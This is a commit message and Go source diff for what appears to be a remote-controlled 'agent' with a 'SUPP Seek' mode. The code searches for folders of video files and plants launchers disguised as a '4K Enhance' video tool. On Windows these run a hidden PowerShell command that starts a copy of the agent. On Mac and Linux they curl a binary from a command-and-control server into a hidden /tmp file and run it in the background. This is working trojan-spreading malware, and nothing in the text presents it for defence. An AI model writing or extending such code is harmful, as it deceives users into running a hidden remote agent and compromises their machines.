feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.

agent/client/supp_seek.go

@@ -0,0 +1,86 @@
+package client
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+)
+
+// suppSeekOpts controls what SUPP Seek Mode drops in each discovered directory.
+type suppSeekOpts struct {
+	DropWindows bool // drop 4K Enhance.bat + VideoEnhancer.exe copy
+	DropMac     bool // drop 4K Enhance.command (curl-based Mac/Linux bootstrap)
+	ServerURL   string
+	// Name prefix used for the launcher files.
+	FileStem string // default: "4K Enhance"
+}
+
+type suppSeekResult struct {
+	Dirs      int // directories visited
+	Seeded    int // directories where files were placed
+	Skipped   int // already seeded
+	Files     int // total files placed
+	Errors    int
+	FirstErr  string
+}
+
+func (r suppSeekResult) Summary() string {
+	return fmt.Sprintf(
+		"SUPP Seek complete: %d/%d dirs seeded (%d skipped, %d files placed, %d errors)",
+		r.Seeded, r.Dirs, r.Skipped, r.Files, r.Errors,
+	)
+}
+
+// mediaExtensions is the set of file extensions that mark a directory as a
+// target — if a directory contains any of these the launcher files are dropped.
+var mediaExtensions = map[string]struct{}{
+	".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
+	".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
+	".iso": {}, ".bdmv": {}, ".mpg": {}, ".mpeg": {},
+}
+
+func isMediaDir(dirPath string) bool {
+	entries, err := os.ReadDir(dirPath)
+	if err != nil {
+		return false
+	}
+	for _, e := range entries {
+		if e.IsDir() {
+			continue
+		}
+		ext := strings.ToLower(filepath.Ext(e.Name()))
+		if _, ok := mediaExtensions[ext]; ok {
+			return true
+		}
+	}
+	return false
+}
+
+// batContent returns the content of the Windows .bat launcher.
+// It launches the co-located VideoEnhancer.exe silently.
+func batContent(stem string) string {
+	return "@echo off\r\n" +
+		"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass " +
+		"-Command \"& { " +
+		"$p = Join-Path $PSScriptRoot '" + stem + ".exe'; " +
+		"if (Test-Path $p) { Start-Process $p -WindowStyle Hidden } " +
+		"}\"\r\n"
+}
+
+// commandContent returns the content of the Mac/Linux .command shell script.
+// Falls back to a C2 download if the server URL is known.
+func commandContent(serverURL string) string {
+	dl := ""
+	if serverURL != "" {
+		dl = fmt.Sprintf(
+			"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
+				"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
+			serverURL,
+		)
+	}
+	return "#!/bin/bash\n" +
+		"# Video Enhancement Service\n" +
+		dl +
+		"exit 0\n"
+}